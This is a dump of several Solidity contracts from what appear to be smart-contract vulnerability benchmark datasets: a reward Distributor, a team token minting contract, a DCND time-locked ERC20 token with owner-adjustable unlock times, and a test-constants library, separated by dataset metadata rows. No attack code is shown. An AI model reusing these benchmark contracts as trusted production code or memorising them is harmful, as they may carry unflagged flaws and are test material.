require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable TEST;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _test, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_test != address(0));
TEST = _test;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(TEST).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 332,455 | 10,911 |
c65b5cdf5719fcabf83fdfa9a8cf7b34efc153eddb6e045eba87993073f8dabd
| 14,279 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb30a38fae3730863b5a17a7d5d935065f96e9552.sol
| 2,415 | 9,234 |
pragma solidity ^0.4.15;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// TEAM Token is an index token of TokenStars platform
// Copyright (c) 2017 TokenStars
// Made by Aler Denisov
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
contract StarTokenInterface is MintableToken {
// Cheatsheet of inherit methods and events
// function transferOwnership(address newOwner);
// function allowance(address owner, address spender) constant returns (uint256);
// function transfer(address _to, uint256 _value) returns (bool);
// function transferFrom(address from, address to, uint256 value) returns (bool);
// function approve(address spender, uint256 value) returns (bool);
// function increaseApproval (address _spender, uint _addedValue) returns (bool success);
// function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success);
// function finishMinting() returns (bool);
// function mint(address _to, uint256 _amount) returns (bool);
// event Approval(address indexed owner, address indexed spender, uint256 value);
// event Mint(address indexed to, uint256 amount);
// event MintFinished();
// Custom methods and events
function openTransfer() public returns (bool);
function toggleTransferFor(address _for) public returns (bool);
function extraMint() public returns (bool);
event TransferAllowed();
event TransferAllowanceFor(address indexed who, bool indexed state);
}
// TEAM Token is an index token of TokenStars platform
// Copyright (c) 2017 TokenStars
// Made by Aler Denisov
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
contract TeamTokenDistribution is Ownable {
using SafeMath for uint256;
StarTokenInterface public token;
event DistributionMint(address indexed to, uint256 amount);
event ExtraMint();
function TeamTokenDistribution (address _tokenAddress) public {
require(_tokenAddress != 0);
token = StarTokenInterface(_tokenAddress);
}
function bulkMint(address[] _investors, uint256[] _amounts) onlyOwner public returns (bool) {
// require(_investors.length < 50);
require(_investors.length == _amounts.length);
for (uint index = 0; index < _investors.length; index++) {
assert(token.mint(_investors[index], _amounts[index]));
DistributionMint(_investors[index], _amounts[index]);
}
}
function extraMint() onlyOwner public returns (bool) {
assert(token.extraMint());
ExtraMint();
}
function returnOwnership() onlyOwner public returns (bool) {
token.transferOwnership(owner);
}
}
| 195,989 | 10,912 |
439e22fafa394b4fba04e4925ad6f0b5b567ac688a515ca994b22f44a43d928a
| 12,967 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x9d3e265121604c0b17437d8e1fe619900f6c474a.sol
| 3,505 | 12,659 |
pragma solidity 0.4.26;
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
interface ERC20Token {
function name() external view returns (string name_);
function symbol() external view returns (string symbol_);
function decimals() external view returns (uint8 decimals_);
function totalSupply() external view returns (uint256 totalSupply_);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract DCND is Owned, ERC20Token {
using SafeMath for uint256;
string private constant standard = "201910261616";
string private constant version = "v1.0";
string private name_ = "DCND";
string private symbol_ = "DCND";
uint8 private decimals_ = 18;
uint256 private totalSupply_ = 0;
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
bool private mintable_ = true;
event Burn(address indexed _from, uint256 _value);
event Mint(address indexed _to, uint256 _value);
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
constructor() public {
balanceP[msg.sender] = totalSupply_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier isMintable() {
require(mintable_);
_;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = earlier.add(_earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = later.add(_later);
}
function disableMint() public onlyOwner isMintable {
mintable_ = false;
}
function mintable() public view returns (bool) {
return mintable_;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier);
i++;
}
return tempLockTime;
}
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (now.add(earlier) >= currentLockTime[i].add(later)) {
balanceP[_address] = balanceP[_address].add(currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = balanceP[_from].sub(_value[i]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(_from, _to, _time[i], _value[i]);
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balanceP[_from] = balanceP[_from].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= allowed[msg.sender][_spender]) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function mint(uint256 _value) public onlyOwner isMintable returns (bool _success) {
balanceP[msg.sender] = balanceP[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
emit Mint(msg.sender, _value);
return true;
}
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 162,039 | 10,913 |
e6cc6c264dc21a56779b98d06e5257ca4ab76b3e59a2e9c36a357107cb37d7d6
| 11,251 |
.sol
|
Solidity
| false |
377126521
|
IPOR-Labs/ipor-protocol
|
43b454b46c78a92fc002536c565fbc73b92718e0
|
test/utils/TestConstants.sol
| 5,601 | 11,232 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.16;
library TestConstants {
uint256 public constant MAX_VALUE = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
uint256 public constant D54 = 1e54;
uint256 public constant D36 = 1e36;
uint256 public constant D18 = 1e18;
uint256 public constant D17 = 1e17;
uint256 public constant D16 = 1e16;
uint256 public constant D15 = 1e15;
uint256 public constant D14 = 1e14;
uint256 public constant D13 = 1e13;
uint256 public constant D12 = 1e12;
uint256 public constant USD_3_18DEC = 3 * 1e18;
uint256 public constant USD_10_18DEC = 10 * 1e18;
uint256 public constant USD_20_18DEC = 20 * 1e18;
uint256 public constant USD_100_18DEC = 100 * 1e18;
uint256 public constant USD_500_18DEC = 500 * 1e18;
uint256 public constant USD_1_000_18DEC = 1000 * 1e18;
uint256 public constant USD_1_500_18DEC = 1500 * 1e18;
uint256 public constant USD_2_000_18DEC = 2000 * 1e18;
uint256 public constant USD_5_000_18DEC = 5000 * 1e18;
uint256 public constant USD_10_000_18DEC = 10000 * 1e18;
uint256 public constant USD_10_400_18DEC = 10400 * 1e18;
uint256 public constant USD_13_000_18DEC = 13000 * 1e18;
uint256 public constant USD_14_000_18DEC = 14000 * 1e18;
uint256 public constant USD_15_000_18DEC = 15000 * 1e18;
uint256 public constant USD_19_997_18DEC = 19997 * 1e18;
uint256 public constant USD_20_000_18DEC = 20000 * 1e18;
uint256 public constant USD_28_000_18DEC = 28000 * 1e18;
uint256 public constant USD_50_000_18DEC = 50000 * 1e18;
uint256 public constant USD_60_000_18DEC = 60000 * 1e18;
uint256 public constant USD_100_000_18DEC = 100000 * 1e18;
uint256 public constant USD_1_000_000_18DEC = 1000000 * 1e18;
uint256 public constant USD_10_000_000_18DEC = 10000000 * 1e18;
uint256 public constant USD_20_000_000_18DEC = 20000000 * 1e18;
uint256 public constant USD_1_000_000_000_18DEC = 1000000000 * 1e18;
int256 public constant USD_10_000_000_18DEC_INT = 10000000 * 1e18;
uint256 public constant PERCENTAGE_1_18DEC = 1 * 1e16;
uint256 public constant PERCENTAGE_2_18DEC = 2 * 1e16;
uint256 public constant PERCENTAGE_2_5_18DEC = 25 * 1e15;
uint256 public constant PERCENTAGE_3_18DEC = 3 * 1e16;
uint256 public constant PERCENTAGE_3_5_18DEC = 35 * 1e15;
uint256 public constant PERCENTAGE_4_18DEC = 4 * 1e16;
uint256 public constant PERCENTAGE_4_5_18DEC = 45 * 1e15;
uint256 public constant PERCENTAGE_5_18DEC = 5 * 1e16;
uint256 public constant PERCENTAGE_5_2222_18DEC = 522222 * 1e12;
uint256 public constant PERCENTAGE_6_18DEC = 6 * 1e16;
uint256 public constant PERCENTAGE_7_18DEC = 7 * 1e16;
uint256 public constant PERCENTAGE_8_18DEC = 8 * 1e16;
uint256 public constant PERCENTAGE_9_18DEC = 9 * 1e16;
uint256 public constant PERCENTAGE_10_18DEC = 10 * 1e16;
uint256 public constant PERCENTAGE_16_18DEC = 16 * 1e16;
uint256 public constant PERCENTAGE_50_18DEC = 50 * 1e16;
uint256 public constant PERCENTAGE_95_18DEC = 95 * 1e16;
uint256 public constant PERCENTAGE_119_18DEC = 119 * 1e16;
uint256 public constant PERCENTAGE_120_18DEC = 120 * 1e16;
